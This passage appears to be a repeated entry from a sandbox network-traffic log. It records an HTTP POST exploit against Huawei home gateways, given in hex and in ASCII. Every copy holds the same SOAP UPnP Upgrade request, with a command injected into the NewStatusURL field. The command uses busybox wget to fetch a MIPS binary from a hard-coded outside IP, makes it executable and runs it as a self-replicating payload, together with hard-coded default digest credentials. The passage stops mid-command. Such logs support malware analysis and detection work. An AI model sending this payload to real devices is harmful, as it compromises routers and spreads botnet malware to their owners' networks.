65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox 